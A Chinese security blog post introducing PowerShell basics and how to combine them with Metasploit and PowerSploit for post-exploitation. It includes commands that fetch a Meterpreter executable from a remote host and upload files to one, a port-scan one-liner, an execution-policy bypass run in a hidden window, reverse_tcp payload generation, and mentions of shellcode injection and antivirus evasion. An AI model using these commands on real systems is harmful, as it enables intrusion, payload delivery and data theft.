Metasploit与Powershell

luke 2012-10-11 318247人围观 ,发现 16 个不明物体 系统安全

大家都在说windows7的防护水平大大高于windows xp了,但是并不都是如此,Win7下给出现了一个强大高级cmd————>powershell。该shell最大的特点就是支持脚本编程,酷似linux的bash(准确说应该是各种sh),下面就简要介绍下它的功能,以及如何与metasploit配合(今年北美著名的安全会议Derbycon给出的,这个会议是美国国防部下属的DARPA资助的,内容非常好,建议大家关注)

基本命令

开始–>运行–>powershell 开启powershell界面

get-command *-service 获得服务相关的命令 
get-help get service 获得命令的帮助

支持脚本文件的命令集 脚本的后缀名为.PS1,支持管道:

powershell使用示例:

停止所有目前运行中的以”p”字符开头命名的程序:

PS> get-process p* | stop-process

停止所有目前运行中的所有使用大于1000MB存储器的程序:

PS> get-process | where { $_.WS -gt 1000MB } | stop-process

计算一个目录下文件内的字节大小:

PS> get-childitem | measure-object -property length -sum

等待一个叫做”notepad”的程序运行退出:

PS> $processToWatch = get-process notepad
PS> $processToWatch.WaitForExit()

将”hello, world!”字符串转为英文大写字符,成为”HELLO, WORLD!”:

PS> “hello, world!”.ToUpper()

在字符串”string”的第1个字符后插入字符串”ABC”,成为”sABCtring”:

PS> “string”.Insert(1, “ABC”)

订阅一个指定的RSS Feed并显示它最近8个主题:

PS> $rssUrl = “http://blogs.msdn.com/powershell/rss.aspx”
PS> $blog = xml.DownloadString($rssUrl)
PS> $blog.rss.channel.item | select title -first 8

使用powershell执行shellcode

使用dns payloads的方式通过powershell执行meterpreter,达到免杀、过IPS的效果

使用powershell进行文件的上传、下载和端口扫描

下载

ps>Import-Module BitsTransfer
ps>Start-BitsTransfer http://ip/meter.exe c:\meter.exe

上传

Start-BitsTransfer -Source c:\upload.txt -Destination http://ip/upload/upload.txt -transfertype upload

端口扫描

ps c:>1..1024 | %{ echo ((new-object Net.Sockets.TcpClient).Connect(“10.1.1.14”,$)) “$ is open”} 2>$null
25 is open

powersploit 堪比meterpreter的后渗透攻击框架

Carlos Perez国外大牛设计了基于powersploit的渗透脚本集合,用于授权渗透测试使用。。。。(大家都知道怎么回事),里面的主要包含了一下几个脚本

Inject-Dll(注入dll到指定进程)
Inject-Shellcode(注入shellcode到执行进程)
Encrypt- Script(文本或脚本加密)
Get-GPPPassword(通过groups.xml获取明文密码)
Invoke- ReverseDnsLookup(扫描 DNS PTR记录)

具体的代码就请查看作者的github代码仓库:powerexploit

Metasploit与powershell结合

西点军校毕业的这货Chris Gates说windows就是他的backdoor,为什么? 首先就是powershell提供了上传和下载功能,这在渗透过程中能省很多事,其次他说没有见过哪些Meterpreter的事Powershell做不了的,举例:

* Powershell hashdump(in SET)
* Powershell exec method in MSSQL_Payload * PowerSploit(上面提到了)

绕过powershell本身的权限限制:

-powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive —NoProfile -WindowStyle Hidden —File “C:\do_neat_ps_shit.ps1”

使用Metasploit生成Powershell

msf_ payload(reverse_tcp) > generate -t psh -f powershellexec.ps1

使用批处理文件从Meterpreter中运行Powershell

c:\type run_ps.bat powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -File C:\ipinfo2.ps1

示例:

meterpreter > execute -H -f cmd.exe -a ‘/c C:\runps.bat’ Process 28536 created. meterpreter>
–snip–

总结

windows7下的powershell功能不可小觑,应该一起广大安全爱好研究这的研究和重视,后面还会给出相关powershell安全研究的讨论。最后推荐两个博客:
中文博客:研究powershell中文博客,包含powershell的命令解释、脚本编程的各种小技巧
英文博客:国外某大牛博客,对powershell有很多安全方面的研究,国外黑客大会推荐

原文链接
http://seckungfu.com/blog/2012/10/10/new-post/

这些评论亮了

  • xfk (3级) 绿盟安全工程师 回复
    想知道“使用dns payloads的方式通过powershell执行meterpreter,达到免杀、过IPS的效果 ”这个是怎么个实现的,研究研究! :razz:
    )12( 亮了
发表评论

已有 16 条评论

取消
Loading...
css.php